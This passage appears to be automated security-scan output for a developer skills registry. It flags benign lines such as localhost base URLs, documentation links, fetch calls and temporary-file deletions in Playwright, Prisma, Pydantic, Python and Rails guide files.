    | Mock your own API routes | Hides real API bugs | Let real API handle requests; mock only external services | | `page.goto('http://localhost:3000/path')` | Breaks when port changes | Use `page.goto('/path')` with `baseURL` | | Run `npm run
  • Network accessline 459
    | `page.goto('http://localhost:3000/path')` | Breaks when port changes | Use `page.goto('/path')` with `baseURL` |

packages/autoskills/skills-registry/playwright-best-practices/frameworks/react.md

  • Network accessline 441
    use: {     baseURL: 'http://localhost:5173',
  • Network accessline 442
    baseURL: 'http://localhost:5173',
  • Network accessline 453
    webServer: {     command: process.env.CI ? 'npm run build && npx vite preview --port 5173' : 'npm run dev',     url: 'http://localhost:5173',
  • Network accessline 454
    command: process.env.CI ? 'npm run build && npx vite preview --port 5173' : 'npm run dev',     url: 'http://localhost:5173',     reuseExistingServer: !process.env.CI,
  • Network accessline 455
    url: 'http://localhost:5173',

packages/autoskills/skills-registry/playwright-best-practices/frameworks/vue.md

  • Network accessline 41
    use: {     baseURL: 'http://localhost:5173',
  • Network accessline 42
    baseURL: 'http://localhost:5173',
  • Network accessline 55
    ? 'npm run build && npx vite preview --port 5173'       : 'npm run dev',     url: 'http://localhost:5173',
  • Network accessline 56
    : 'npm run dev',     url: 'http://localhost:5173',     reuseExistingServer: !process.env.CI,
  • Network accessline 57
    url: 'http://localhost:5173',
  • Network accessline 79
    use: {     baseURL: 'http://localhost:3000',
  • Network accessline 80
    baseURL: 'http://localhost:3000',
  • Network accessline 91
    ? 'npx nuxi build && npx nuxi preview'       : 'npx nuxi dev',     url: 'http://localhost:3000',
  • Network accessline 92
    : 'npx nuxi dev',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 93
    url: 'http://localhost:3000',
  • Network accessline 95
    timeout: 120_000,     env: {       NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api',
  • Network accessline 96
    env: {       NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api',     },
  • Network accessline 97
    NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api',

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/ci-cd.md

  • Network accessline 187
    environment:       - CI=true       - BASE_URL=http://app:3000
  • Network accessline 188
    - CI=true       - BASE_URL=http://app:3000     depends_on:
  • Network accessline 189
    - BASE_URL=http://app:3000
  • Network accessline 293
    export default defineConfig({   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 294
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",   },
  • Network accessline 295
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 311
    run: npx playwright test         env:           BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }}
  • Network accessline 312
    env:           BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }}           TEST_USER: ${{ secrets[format('TEST_USER_{0}', matrix.environment)] }}
  • Network accessline 313
    BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }}
  • Network accessline 453
    : [["list"], ["html"]],   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 454
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",     trace: "on-first-retry",
  • Network accessline 455
    baseURL: process.env.BASE_URL || "http://localhost:3000",

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/docker.md

  • Network accessline 19
    docker run --rm    -v $(pwd):/app    -w /app    -e CI=true    -e BASE_URL=http://host.docker.internal:3000
  • Network accessline 21
    -w /app \   -e CI=true \   -e BASE_URL=http://host.docker.internal:3000 \
  • Network accessline 22
    -e CI=true \   -e BASE_URL=http://host.docker.internal:3000 \   mcr.microsoft.com/playwright:v1.48.0-noble \
  • Network accessline 23
    -e BASE_URL=http://host.docker.internal:3000 \
  • Network accessline 109
    environment:       - CI=true       - BASE_URL=http://app:3000
  • Network accessline 110
    - CI=true       - BASE_URL=http://app:3000     depends_on:
  • Network accessline 111
    - BASE_URL=http://app:3000
  • Network accessline 239
    export default defineConfig({   use: {     baseURL: process.env.BASE_URL || 'http://localhost:3000',
  • Network accessline 240
    use: {     baseURL: process.env.BASE_URL || 'http://localhost:3000',   },
  • Network accessline 241
    baseURL: process.env.BASE_URL || 'http://localhost:3000',
  • Network accessline 247
    e2e:   environment:     - BASE_URL=http://app:3000
  • Network accessline 249
    - BASE_URL=http://app:3000

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/gitlab.md

  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/parallel-sharding.md

  • Network accessline 167
    apiToken: [     async ({}, use, workerInfo) => {       const res = await fetch(`${process.env.API_URL}/auth`, {
  • Network accessline 168
    async ({}, use, workerInfo) => {       const res = await fetch(`${process.env.API_URL}/auth`, {         method: "POST",
  • Network accessline 169
    const res = await fetch(`${process.env.API_URL}/auth`, {

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/performance.md

  • Network accessline 273
    const response = await route.fetch();

packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/reporting.md

  • Network accessline 157
    const timeout = setTimeout(() => controller.abort(), 5000);       try {         await fetch(webhookUrl, {
  • Network accessline 158
    try {         await fetch(webhookUrl, {           method: 'POST',
  • Network accessline 159
    await fetch(webhookUrl, {
  • Network accessline 226
    # Online viewer: https://trace.playwright.dev

packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/api-testing.md

  • Network accessline 30
    authApi: async ({ playwright }, use) => {     const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 31
    const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",       extraHTTPHeaders: {
  • Network accessline 32
    baseURL: "https://api.myapp.io",
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 42
    adminApi: async ({ playwright }, use) => {     const loginCtx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 43
    const loginCtx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",     });
  • Network accessline 44
    baseURL: "https://api.myapp.io",
  • Network accessline 56
    const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 57
    baseURL: "https://api.myapp.io",
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 162
    testDir: "./tests/api",       use: {         baseURL: "https://api.myapp.io",
  • Network accessline 163
    use: {         baseURL: "https://api.myapp.io",         extraHTTPHeaders: { Accept: "application/json" },
  • Network accessline 164
    baseURL: "https://api.myapp.io",
  • Network accessline 170
    testDir: "./tests/e2e",       use: {         baseURL: "https://myapp.io",
  • Network accessline 171
    use: {         baseURL: "https://myapp.io",         browserName: "chromium",
  • Network accessline 172
    baseURL: "https://myapp.io",
  • Access to secretsline 651
    [Credential-related source omitted]
  • Network accessline 664
    webServer: {     command: "npm run start:api",     url: "http://localhost:3000/api/health",
  • Network accessline 665
    command: "npm run start:api",     url: "http://localhost:3000/api/health",     reuseExistingServer: !process.env.CI,
  • Network accessline 666
    url: "http://localhost:3000/api/health",
  • Network accessline 667
    reuseExistingServer: !process.env.CI,   },   use: { baseURL: "http://localhost:3000" },
  • Network accessline 668
    },   use: { baseURL: "http://localhost:3000" }, });
  • Network accessline 669
    use: { baseURL: "http://localhost:3000" },
  • Access to secretsline 689
    [Credential-related source omitted]
  • Access to secretsline 691
    [Credential-related source omitted]
  • Access to secretsline 697
    [Credential-related source omitted]
  • Access to secretsline 706
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/browser-extensions.md

  • Network accessline 241
    test("service worker handles messages", async ({ context, extensionId }) => {   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 243
    await page.goto("https://example.com");
  • Network accessline 310
    test("content script injects UI", async ({ context }) => {   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 312
    await page.goto("https://example.com");
  • Network accessline 331
    }) => {   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 333
    await page.goto("https://example.com");
  • Network accessline 346
    test("content script modifies page", async ({ context }) => {   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 348
    await page.goto("https://example.com");
  • Network accessline 406
    // Create a tab   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 408
    await page.goto("https://example.com");
  • Network accessline 440
    // Simulate context menu click   const page = await context.newPage();   await page.goto("https://example.com");
  • Network accessline 442
    await page.goto("https://example.com");
  • Network accessline 454
    chrome.contextMenus.onClicked.dispatch(       { menuItemId: "test-menu", selectionText: "selected text" },       { id: 1, url: "https://example.com" },
  • Network accessline 455
    { menuItemId: "test-menu", selectionText: "selected text" },       { id: 1, url: "https://example.com" },     );
  • Network accessline 456
    { id: 1, url: "https://example.com" },
  • Network accessline 470
    const hasPermission = await popup.evaluate(async () => {     return await chrome.permissions.contains({       origins: ["https://*.github.com/*"],
  • Network accessline 471
    return await chrome.permissions.contains({       origins: ["https://*.github.com/*"],     });
  • Network accessline 472
    origins: ["https://*.github.com/*"],
  • Network accessline 479
    try {       return await chrome.permissions.request({         origins: ["https://*.github.com/*"],
  • Network accessline 480
    return await chrome.permissions.request({         origins: ["https://*.github.com/*"],       });
  • Network accessline 481
    origins: ["https://*.github.com/*"],

packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/file-upload-download.md

  • Access to secretsline 536
    [Credential-related source omitted]

packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/graphql-testing.md

  • Network accessline 163
    gqlClient: async ({ playwright }, use) => {     const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 164
    const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",       extraHTTPHeaders: {
  • Network accessline 165
    baseURL: "https://api.myapp.io",
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 175
    adminGqlClient: async ({ playwright }, use) => {     const loginCtx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 176
    const loginCtx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",     });
  • Network accessline 177
    baseURL: "https://api.myapp.io",
  • Network accessline 200
    const ctx = await playwright.request.newContext({       baseURL: "https://api.myapp.io",
  • Network accessline 201
    baseURL: "https://api.myapp.io",

packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/performance-testing.md

  • Network accessline 67
    await page.addScriptTag({     url: "https://unpkg.com/web-vitals@3/dist/web-vitals.iife.js",
  • Network accessline 68
    url: "https://unpkg.com/web-vitals@3/dist/web-vitals.iife.js",
  • Network accessline 421
    // Send to metrics service     if (process.env.METRICS_ENDPOINT) {       await fetch(process.env.METRICS_ENDPOINT, {
  • Network accessline 422
    if (process.env.METRICS_ENDPOINT) {       await fetch(process.env.METRICS_ENDPOINT, {         method: "POST",
  • Network accessline 423
    await fetch(process.env.METRICS_ENDPOINT, {

packages/autoskills/skills-registry/pr_review/scripts/determine_review_type.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/pr_review/scripts/get_pr_comments.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/pr_review/scripts/post_inline_comment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/pr_review/scripts/reply_pr_comment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/pr_review/scripts/submit_pr_review.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 49
    rm -f "$COMMENT_FILE"
  • Dangerous shell operationline 50
    rm -f "$PAYLOAD_FILE"

packages/autoskills/skills-registry/prisma-cli/SKILL.md

  • Dangerous shell operationline 116
    prisma dev rm myproject

packages/autoskills/skills-registry/prisma-cli/references/agent-safety.md

  • Network accessline 27
    - [Prisma ORM 7.9.0 release](https://github.com/prisma/prisma/releases/tag/7.9.0)

packages/autoskills/skills-registry/prisma-cli/references/complete.md

  • Network accessline 22
    - [Prisma ORM 7.9.0 release](https://github.com/prisma/prisma/releases/tag/7.9.0)

packages/autoskills/skills-registry/prisma-cli/references/dev.md

  • Dangerous shell operationline 99
    prisma dev rm myproject
  • Dangerous shell operationline 107
    prisma dev rm myproject --force

packages/autoskills/skills-registry/prisma-cli/references/mcp.md

  • Network accessline 38
    - [Prisma CLI `mcp` command](https://docs.prisma.io/docs/cli/mcp)
  • Network accessline 39
    - [Prisma MCP Server](https://www.prisma.io/docs/ai/tools/chatgpt)

packages/autoskills/skills-registry/prisma-cli/references/migrate-resolve.md

  • Network accessline 56
    - [Baselining](https://www.prisma.io/docs/guides/database/developing-with-prisma-migrate/baselining)
  • Network accessline 57
    - [Troubleshooting](https://www.prisma.io/docs/guides/database/production-troubleshooting)

packages/autoskills/skills-registry/prisma-cli/references/studio.md

  • Network accessline 36
    Opens at http://localhost:5555

packages/autoskills/skills-registry/prisma-client-api/SKILL.md

  • Network accessline 210
    - [Prisma Client API Reference](https://www.prisma.io/docs/orm/reference/prisma-client-reference)
  • Network accessline 211
    - [CRUD Operations](https://www.prisma.io/docs/orm/prisma-client/queries/crud)
  • Network accessline 212
    - [Filtering and Sorting](https://www.prisma.io/docs/orm/prisma-client/queries/filtering-and-sorting)

packages/autoskills/skills-registry/prisma-database-setup/SKILL.md

  • Network accessline 12
    Load `prisma-orm-setup` with the host's skill loader or read its installed `SKILL.md`. If unavailable, install it from [prisma/skills](https://github.com/prisma/skills/tree/main/prisma-orm-setup) before continuing. It covers Prisma 6, 7, an

packages/autoskills/skills-registry/prisma-postgres/SKILL.md

  • Network accessline 12
    Load `prisma-postgres-setup` with the host's skill loader or read its installed `SKILL.md`. If unavailable, install it from [prisma/skills](https://github.com/prisma/skills/tree/main/prisma-postgres-setup) before continuing.

packages/autoskills/skills-registry/pydantic/SKILL.md

  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 565
    [Credential-related source omitted]
  • Access to secretsline 601
    [Credential-related source omitted]
  • Access to secretsline 604
    [Credential-related source omitted]
  • Network accessline 1434
    ## Additional Resources - [Pydantic Documentation](https://docs.pydantic.dev/)
  • Network accessline 1435
    - [Pydantic Documentation](https://docs.pydantic.dev/)
  • Network accessline 1436
    - [Migration Guide v1→v2](https://docs.pydantic.dev/latest/migration/)
  • Network accessline 1437
    - [Performance Benchmarks](https://docs.pydantic.dev/latest/concepts/performance/)
  • Network accessline 1438
    - [JSON Schema Integration](https://docs.pydantic.dev/latest/concepts/json_schema/)

packages/autoskills/skills-registry/pydantic/metadata.json

  • Network accessline 26
    "created": "2025-11-30",   "updated": "2025-11-30",   "repository": "https://github.com/bobmatnyc/claude-mpm-skills"
  • Network accessline 27
    "updated": "2025-11-30",   "repository": "https://github.com/bobmatnyc/claude-mpm-skills" }
  • Network accessline 28
    "repository": "https://github.com/bobmatnyc/claude-mpm-skills"

packages/autoskills/skills-registry/python-executor/SKILL.md

  • Network accessline 1
    --- name: python-executor description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, 
  • Network accessline 2
    name: python-executor description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, Open
  • Network accessline 3
    description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, OpenCV, trimesh, and 100+ 
  • Network accessline 13
    ![Python Code Executor](https://cloud.inference.sh/u/33sqbmzt3mrg2xxphnhw5g5ear/01k8d8b4mckh6z89dhtxh72dsz.png)
  • Network accessline 17
    > Requires inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md)
  • Network accessline 83
    belt app run infsh/python-executor --input '{   "code": "import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\"https://example.com\")\nsoup = BeautifulSoup(response.content, \"html.parser\")\nprint(soup.find(\"title\")
  • Network accessline 84
    "code": "import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\"https://example.com\")\nsoup = BeautifulSoup(response.content, \"html.parser\")\nprint(soup.find(\"title\").text)"
  • Network accessline 124
    belt app run infsh/python-executor --input '{   "code": "import requests\nimport json\n\nresponse = requests.get(\"https://api.github.com/users/octocat\")\ndata = response.json()\nprint(json.dumps(data, indent=2))"
  • Network accessline 125
    "code": "import requests\nimport json\n\nresponse = requests.get(\"https://api.github.com/users/octocat\")\ndata = response.json()\nprint(json.dumps(data, indent=2))"
  • Network accessline 184
    - [Running Apps](https://inference.sh/docs/apps/running) - How to run apps via CLI
  • Network accessline 185
    - [App Code](https://inference.sh/docs/extend/app-code) - Understanding app execution
  • Network accessline 186
    - [Sandboxed Code Execution](https://inference.sh/blog/tools/sandboxed-execution) - Safe code execution for agents

packages/autoskills/skills-registry/python-patterns/SKILL.md

  • Network accessline 450
    """Fetch a URL (I/O-bound operation)."""     import urllib.request     with urllib.request.urlopen(url) as response:
  • Network accessline 451
    import urllib.request     with urllib.request.urlopen(url) as response:         return response.read().decode()
  • Network accessline 452
    with urllib.request.urlopen(url) as response:
  • Network accessline 489
    """Fetch a URL asynchronously."""     import aiohttp     async with aiohttp.ClientSession() as session:
  • Network accessline 490
    import aiohttp     async with aiohttp.ClientSession() as session:         async with session.get(url) as response:
  • Network accessline 491
    async with aiohttp.ClientSession() as session:

packages/autoskills/skills-registry/python-testing-patterns/SKILL.md

  • Network accessline 147
    service = ServiceWithRetry(client, max_retries=3)     result = service.fetch()
  • Network accessline 148
    result = service.fetch()
  • Network accessline 160
    with pytest.raises(ConnectionError):         service.fetch()
  • Network accessline 161
    service.fetch()
  • Network accessline 172
    with pytest.raises(ValueError):         service.fetch()
  • Network accessline 173
    service.fetch()

packages/autoskills/skills-registry/python-testing-patterns/references/advanced-patterns.md

  • Network accessline 19
    async def test_fetch_data():     """Test async function."""     result = await fetch_data("https://api.example.com")
  • Network accessline 20
    """Test async function."""     result = await fetch_data("https://api.example.com")     assert result["url"] == "https://api.example.com"
  • Network accessline 21
    result = await fetch_data("https://api.example.com")
  • Network accessline 22
    assert result["url"] == "https://api.example.com"
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]

packages/autoskills/skills-registry/python-testing-patterns/references/details.md

  • Access to secretsline 120
    [Credential-related source omitted]
  • Network accessline 204
    def get_user(self, user_id: int) -> dict:         """Fetch user from API."""         response = requests.get(f"{self.base_url}/users/{user_id}")
  • Network accessline 205
    """Fetch user from API."""         response = requests.get(f"{self.base_url}/users/{user_id}")         response.raise_for_status()
  • Network accessline 206
    response = requests.get(f"{self.base_url}/users/{user_id}")
  • Network accessline 210
    def create_user(self, data: dict) -> dict:         """Create new user."""         response = requests.post(f"{self.base_url}/users", json=data)
  • Network accessline 211
    """Create new user."""         response = requests.post(f"{self.base_url}/users", json=data)         response.raise_for_status()
  • Network accessline 212
    response = requests.post(f"{self.base_url}/users", json=data)
  • Network accessline 217
    def test_get_user_success():     """Test successful API call with mock."""     client = APIClient("https://api.example.com")
  • Network accessline 219
    client = APIClient("https://api.example.com")
  • Network accessline 228
    assert user["id"] == 1         assert user["name"] == "John Doe"         mock_get.assert_called_once_with("https://api.example.com/users/1")
  • Network accessline 230
    mock_get.assert_called_once_with("https://api.example.com/users/1")
  • Network accessline 233
    def test_get_user_not_found():     """Test API call with 404 error."""     client = APIClient("https://api.example.com")
  • Network accessline 235
    client = APIClient("https://api.example.com")
  • Network accessline 237
    mock_response = Mock()     mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found")
  • Network accessline 238
    mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found")
  • Network accessline 246
    def test_create_user(mock_post):     """Test user creation with decorator syntax."""     client = APIClient("https://api.example.com")
  • Network accessline 248
    client = APIClient("https://api.example.com")

packages/autoskills/skills-registry/rails-guides/references/action_cable_overview.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 21
    Action Cable seamlessly integrates [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your
  • Network accessline 22
    [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your
  • Network accessline 68
    [Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) or
  • Network accessline 142
    [`ActionCable::Connection::Base`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Base.html
  • Network accessline 143
    [`identified_by`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Identification/ClassMethods.html#method-i-identified_by
  • Network accessline 165
    [`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from
  • Network accessline 177
    [`ActionCable::Connection::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks.html
  • Network accessline 178
    [`after_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-after_command
  • Network accessline 179
    [`around_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-around_command
  • Network accessline 180
    [`before_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-before_command
  • Network accessline 213
    [`ActionCable::Channel::Base`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Base.html
  • Network accessline 260
    [`ActionCable::Channel::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks.html
  • Network accessline 261
    [`after_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_subscribe
  • Network accessline 262
    [`after_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_unsubscribe
  • Network accessline 263
    [`before_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_subscribe
  • Network accessline 264
    [`before_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_unsubscribe
  • Network accessline 265
    [`on_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_subscribe
  • Network accessline 266
    [`on_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_unsubscribe
  • Network accessline 297
    createConsumer('wss://example.com/cable') // Or when using websockets over HTTP createConsumer('https://ws.example.com/cable')
  • Network accessline 299
    createConsumer('https://ws.example.com/cable')
  • Network accessline 386
    [`broadcast`]: https://api.rubyonrails.org/classes/ActionCable/Server/Broadcasting.html#method-i-broadcast
  • Network accessline 387
    [`broadcast_to`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Broadcasting/ClassMethods.html#method-i-broadcast_to
  • Network accessline 388
    [`stream_for`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_for
  • Network accessline 389
    [`stream_from`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_from
  • Network accessline 751
    The Solid Cable adapter is a database-backed solution that uses Active Record. It has been tested with MySQL, SQLite, and PostgreSQL. Running `bin/rails solid_cable:install` will automatically set up `config/cable.yml` and create `db/cable_
  • Network accessline 755
    The Redis adapter requires users to provide a URL pointing to the Redis server. Additionally, a `channel_prefix` may be provided to avoid channel name collisions when using the same Redis server for multiple applications. See the [Redis Pub
  • Network accessline 757
    when using the same Redis server for multiple applications. See the [Redis Pub/Sub documentation](https://redis.io/docs/manual/pubsub/#database--scoping) for more details.
  • Network accessline 770
    The options given to `ssl_params` are passed directly to the `OpenSSL::SSL::SSLContext#set_params` method and can be any valid attribute of the SSL context. Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang
  • Network accessline 771
    Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang.org/en/master/OpenSSL/SSL/SSLContext.html) for other available attributes.
  • Network accessline 779
    The PostgreSQL adapter uses Active Record's connection pool, and thus the application's `config/database.yml` database configuration, for its connection. This may change in the future. [#27214](https://github.com/rails/rails/issues/27214)
  • Network accessline 781
    This may change in the future. [#27214](https://github.com/rails/rails/issues/27214)
  • Network accessline 783
    NOTE: PostgreSQL has a [8000 bytes limit](https://www.postgresql.org/docs/current/sql-notify.html) on `NOTIFY` (the command used under the hood for sending notifications) which might be a constraint when dealing with large payloads.
  • Network accessline 792
    config.action_cable.allowed_request_origins = ["https://rubyonrails.com", %r{http://ruby.*}]
  • Network accessline 810
    [`config.action_cable.url`]: configuring.html#config-action-cable-url [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
  • Network accessline 811
    [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
  • Network accessline 882
    [`config.action_cable.mount_path`]: configuring.html#config-action-cable-mount-path [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
  • Network accessline 883
    [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
  • Network accessline 920
    The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/
  • Network accessline 922
    authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/actioncable-devise-authentication/).
  • Network accessline 931
    The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby),
  • Network accessline 932
    [nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).

packages/autoskills/skills-registry/rails-guides/references/action_controller_advanced_topics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 28
    Cross-site request forgery ([CSRF](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)) is a type of malicious attack where unauthorized requests are submitted by
  • Network accessline 29
    ([CSRF](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)) is a type of malicious attack where unauthorized requests are submitted by impersonating a user that the web appli
  • Network accessline 39
    This is done by adding a token using the [protect_from_forgery](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery)
  • Network accessline 40
    [protect_from_forgery](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery)
  • Network accessline 82
    If you're writing a form manually or need to add the token for another reason, it's available through the [`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authentic
  • Network accessline 83
    it's available through the [`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token) method.
  • Network accessline 84
    [`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)
  • Network accessline 104
    Starting with version 7.2, Rails controllers use [`allow_browser`](https://api.rubyonrails.org/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser) method in `ApplicationController` to allow only modern browsers b
  • Network accessline 113
    TIP: Modern browsers includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+. You can use [caniuse.com](https://caniuse.com/) to check for browser versions supporting the features you'd like to use.
  • Network accessline 173
    [`http_basic_authenticate_with`]:     https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with
  • Network accessline 174
    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with
  • Network accessline 179
    not require the client to send an unencrypted password over the network. The credentials are hashed instead and a [Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html)
  • Network accessline 180
    credentials are hashed instead and a [Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html) is sent.
  • Network accessline 181
    [Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html)
  • Network accessline 206
    [`authenticate_or_request_with_http_digest`]:     https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest
  • Network accessline 207
    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest
  • Network accessline 213
    then includes in the `Authorization` header of future requests. Instead of sending credentials with each request, the client sends this [token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html)
  • Network accessline 214
    sending credentials with each request, the client sends this [token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html) (a string that represents the user's session) as a "bearer" of the
  • Network accessline 215
    [token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html)
  • Network accessline 246
